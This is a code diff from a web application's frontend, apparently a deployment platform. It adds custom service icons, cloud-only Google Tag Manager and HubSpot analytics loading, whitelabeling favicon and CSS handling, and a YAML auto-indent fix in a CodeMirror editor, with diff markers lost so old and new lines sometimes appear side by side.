export function WhitelabelingProvider() {
const { resolvedTheme } = useTheme();
const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, {
staleTime: 5 * 60 * 1000,
refetchOnWindowFocus: false,
});
if (!config) return null;
const faviconHref =
config?.faviconUrl ??
(resolvedTheme === "dark"
? "/icon-dark.svg"
: resolvedTheme === "light"
? "/icon-light.svg"
: "/icon.svg");
return (
<>
<Head>
{config.metaTitle && <title>{config.metaTitle}</title>}
{config.faviconUrl && <link rel="icon" href={config.faviconUrl} />}
{config?.metaTitle && <title>{config.metaTitle}</title>}
<link rel="icon" href={faviconHref} key="app-favicon" />
</Head>
{config.customCss && (
{config?.customCss && (
<style
id="whitelabeling-styles"
dangerouslySetInnerHTML={{

View File

@ -45,10 +45,12 @@ type ServiceItem = {
id: string;
name: string;
type: ServiceType;
icon: string | null;
};
type NamedService = {
name: string;
icon?: string | null;
};
type EnvironmentServiceCollections = {
@ -116,8 +118,20 @@ const getStringQueryParam = (value: string | string[] | undefined) =>
const includesSearch = (value: string | null | undefined, search: string) =>
value?.toLowerCase().includes(search.toLowerCase()) ?? false;
const getServiceIcon = (type: ServiceType, className = "size-4") => {
const Icon = SERVICE_ICONS[type];
const getServiceIcon = (
service: Pick<ServiceItem, "type" | "icon">,
className = "size-4",
) => {
if (service.icon) {
return (
<img
src={service.icon}
alt=""
className={`${className} object-contain shrink-0`}
/>
);
}
const Icon = SERVICE_ICONS[service.type];
return <Icon className={className} />;
};
@ -127,7 +141,7 @@ const countEnvironmentServices = (environment: ServiceCollections): number =>
0,
);
const mapServices = <T extends { name: string }>(
const mapServices = <T extends NamedService>(
items: readonly T[],
getId: (item: T) => string,
type: ServiceType,
@ -136,6 +150,7 @@ const mapServices = <T extends { name: string }>(
id: getId(item),
name: item.name,
type,
icon: item.icon ?? null,
}));
const extractServicesFromEnvironment = (
@ -550,7 +565,7 @@ export const AdvanceBreadcrumb = () => {
aria-expanded={serviceOpen}
className="h-auto px-2 py-1.5 hover:bg-accent gap-2"
>
{getServiceIcon(currentService.type)}
{getServiceIcon(currentService)}
<span className="font-medium max-w-[50px] md:max-w-[150px] truncate">
{currentService.name}
</span>
@ -589,7 +604,7 @@ export const AdvanceBreadcrumb = () => {
>
<div className="flex items-center gap-3">
<div className="flex items-center justify-center size-8 rounded-md bg-muted">
{getServiceIcon(service.type)}
{getServiceIcon(service)}
</div>
<div className="flex flex-col">
<span className="font-medium">

View File

@ -0,0 +1,86 @@
import { useRouter } from "next/router";
import Script from "next/script";
import { useEffect } from "react";
import { GTM_ID, pushToDataLayer } from "@/lib/analytics";
import { api } from "@/utils/api";
/**
* Loads Google Tag Manager and the HubSpot marketing tag on the cloud
* version only, and translates tracking query params appended by the
* auth/billing flows (?signup=..., ?subscription=new) into dataLayer events.
*/
export const Analytics = () => {
const router = useRouter();
const { data: isCloud } = api.settings.isCloud.useQuery();
useEffect(() => {
if (!isCloud || !router.isReady) {
return;
}
const { signup, subscription, tier, ...rest } = router.query;
if (typeof signup === "string" && signup.length > 0) {
pushToDataLayer("sign_up", { method: signup });
}
if (subscription === "new") {
pushToDataLayer("new_subscription", {
...(typeof tier === "string" ? { tier } : {}),
});
}
if (signup !== undefined || subscription !== undefined) {
router.replace({ pathname: router.pathname, query: rest }, undefined, {
shallow: true,
});
}
}, [isCloud, router.isReady, router.query, router.pathname, router.replace]);
if (!isCloud) {
return null;
}
return (
<>
<Script id="analytics-init" strategy="afterInteractive">
{`
window.hsConversationsSettings = { loadImmediately: false };
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','${GTM_ID}');
`}
</Script>
<Script
id="hs-script-loader"
type="text/javascript"
src="//js-eu1.hs-scripts.com/147033433.js"
strategy="lazyOnload"
async
defer
/>
</>
);
};
/**
* The HubSpot script is loaded app-wide for marketing tracking, but the
* conversations (chat) widget stays restricted to startup plan customers.
*/
export const useHubSpotChat = (enabled: boolean) => {
useEffect(() => {
if (!enabled) {
return;
}
const loadWidget = () => {
window.HubSpotConversations?.widget.load();
};
if (window.HubSpotConversations) {
loadWidget();
} else {
window.hsConversationsOnReady = [
...(window.hsConversationsOnReady || []),
loadWidget,
];
}
}, [enabled]);
};

View File

@ -3,11 +3,16 @@ import {
type Completion,
type CompletionContext,
type CompletionResult,
type CompletionSource,
} from "@codemirror/autocomplete";
import { css } from "@codemirror/lang-css";
import { json } from "@codemirror/lang-json";
import { yaml } from "@codemirror/lang-yaml";
import { StreamLanguage } from "@codemirror/language";
import {
getIndentUnit,
indentService,
StreamLanguage,
} from "@codemirror/language";
import { properties } from "@codemirror/legacy-modes/mode/properties";
import { shell } from "@codemirror/legacy-modes/mode/shell";
import { search, searchKeymap } from "@codemirror/search";
@ -98,6 +103,27 @@ const dockerComposeServiceOptions = [
},
}));
// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong
// column-based indents on Enter (odd/inconsistent amounts, see #4650), so
// indentation is resolved line-based here: keep the current indent, align
// list-entry keys after the dash marker, and go one unit deeper after a
// line that opens a block (ending in ":", "|" or ">").
const yamlIndent = indentService.of((context, pos) => {
const line = context.state.doc.lineAt(pos);
const before = context.state.doc.sliceString(line.from, pos);
const indent = /^ */.exec(before)?.[0].length ?? 0;
const trimmed = before.trim();
if (!trimmed || trimmed.startsWith("#")) {
return indent;
}
const base =
trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent;
if (/[:|>]$/.test(trimmed)) {
return base + getIndentUnit(context.state);
}
return base;
});
function dockerComposeComplete(
context: CompletionContext,
): CompletionResult | null {
@ -135,6 +161,7 @@ interface Props extends ReactCodeMirrorProps {
language?: "yaml" | "json" | "properties" | "shell" | "css";
lineWrapping?: boolean;
lineNumbers?: boolean;
completionSource?: CompletionSource;
}
export const CodeEditor = ({
@ -142,6 +169,7 @@ export const CodeEditor = ({
wrapperClassName,
language = "yaml",
lineNumbers = true,
completionSource,
...props
}: Props) => {
const { resolvedTheme } = useTheme();
@ -160,7 +188,7 @@ export const CodeEditor = ({
search(),
keymap.of(searchKeymap),
language === "yaml"
? yaml()
? [yamlIndent, yaml()]
: language === "json"
? json()
: language === "css"
@ -175,11 +203,15 @@ export const CodeEditor = ({
languageData: { commentTokens: { line: "#" } },
}),
props.lineWrapping ? EditorView.lineWrapping : [],
language === "yaml"
completionSource
? autocompletion({
override: [dockerComposeComplete],
override: [completionSource],
})
: [],
: language === "yaml"
? autocompletion({
override: [dockerComposeComplete],
})
: [],
]}
{...props}
editable={!props.disabled}

Some files were not shown because too many files have changed in this diff Show More